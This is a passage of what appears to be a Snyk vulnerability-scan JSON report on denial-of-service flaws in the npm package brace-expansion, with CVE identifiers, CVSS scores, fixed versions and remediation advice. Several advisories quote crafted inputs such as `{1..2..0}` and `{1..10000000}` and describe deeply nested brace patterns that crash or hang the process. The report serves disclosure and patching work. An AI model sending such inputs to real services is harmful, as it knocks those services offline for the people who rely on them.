vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, 